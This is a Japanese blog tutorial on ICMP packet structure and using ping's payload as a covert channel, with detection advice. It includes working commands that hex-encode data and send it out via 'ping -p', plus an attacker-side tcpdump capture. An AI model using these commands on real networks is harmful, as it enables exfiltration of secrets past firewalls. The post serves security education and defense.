はじめに
ネットワークの疎通確認でお馴染みのpingコマンド。実は、この裏側にあるICMPプロトコルを悪用して、ファイルを外部に持ち出したり、機密情報を送信したりする手法があることをご存知でしょうか。
本記事では、ICMPパケットの構造を紐解きながら、なぜpingがデータの運び屋になり得るのかを解説します。
1. ICMPパケットの構造を知る
ICMP(Internet Control Message Protocol)は、IPプロトコルの補助としてエラー通知や診断に使われます。その中でもpingで使用される「Echo Request/Reply」のパケット構造は以下のようになっています。
各フィールドの役割
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
共通 | タイプ | コード | チェックサム |
ヘッダー| (1バイト) | (1バイト) | (2バイト) |
(4B) +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 識別子 (Identifier) | シーケンス番号 |
Echo | (2バイト) | (2バイト) |
専用 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
ヘッダー| |
(4B) | データ (Data) / ペイロード |
| (可変長) |
データ| |
(可変)+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
- Type/Code: パケットの種類(8ならリクエスト、0なら応答)。
- Checksum: 破損確認用。
- Identifier/Sequence Number: どのリクエストに対する応答かを識別。
- Data (Payload): ここが重要です。 通常はパケットサイズを調整するための任意のデータが入ります。
この「Data」セクションは、ネットワーク機器は中身を精査せずに転送するため、攻撃者にとっては 「自由帳」 のように使える空間になります。
2. 実践:pingでデータを送る(Linux編)
Linuxのpingコマンドには、パケットのペイロードをカスタムできる-pオプションが存在します。
ステップ1:データを16進数(Hex)に変換
送信したいデータ(例:機密パスワードなど)を16進数に変換します。
$ echo "this is first test"| xxd -p
7468697320697320666972737420746573740a
ステップ2:pingで送信
-pフラグの後に、先ほどのHexを指定して実行します。
$ ping IP -c 1 -p 7468697320697320666972737420746573740a
これで、宛先のIPアドレスに対して「機密情報を含んだICMPパケット」が1つ送信されました。
3. 受信側でのキャプチャ
攻撃者のサーバー側でWiresharkやtcpdumpを動かしていると、以下のようにデータが丸見えになります。
tcpdumpを使う場合のコマンド例:
Bash
# ICMPパケットの中身をASCII形式で表示
$ sudo tcpdump -ni eth0 icmp -A
4. なぜこれが危険なのか?(カバートチャネル)
通常、企業のファイアウォールはHTTP(80)やHTTPS(443)などは厳密に監視・制限していますが、「疎通確認のためにICMP(ping)は通しておく」 という設定になっていることが多々あります。
この「許可されたプロトコルの中に、本来の目的とは違うデータを隠して通信する経路」をカバートチャネル(隠れ通信路) と呼びます。
5. 防御側の対策
この手法を防ぐためには、以下の観点での監視が必要です。
-
ペイロードの監視: 通常の
pingパケットはabcdefg...といった標準的なパターンで埋められます。これ以外のランダムな文字列やBase64、Hex文字列が含まれる場合は検知対象とします。 - パケットサイズの異常: 大量のデータを送るためにパケットサイズが不自然に大きくなっていないか確認します。
- 頻度の監視: 短時間に大量のICMP通信が発生している場合、データ転送(トンネリング)を疑う必要があります。
まとめ
pingコマンドひとつをとっても、その仕様を深く理解することで、攻撃の糸口にもなり得れば、防御のポイントにもなります。ネットワークプロトコルの低レイヤーな構造を学ぶことは、セキュリティの基礎を固める上で非常に重要です。
免責事項:本記事の内容は教育・学習目的で作成されています。許可のない環境への実行は絶対に行わないでください。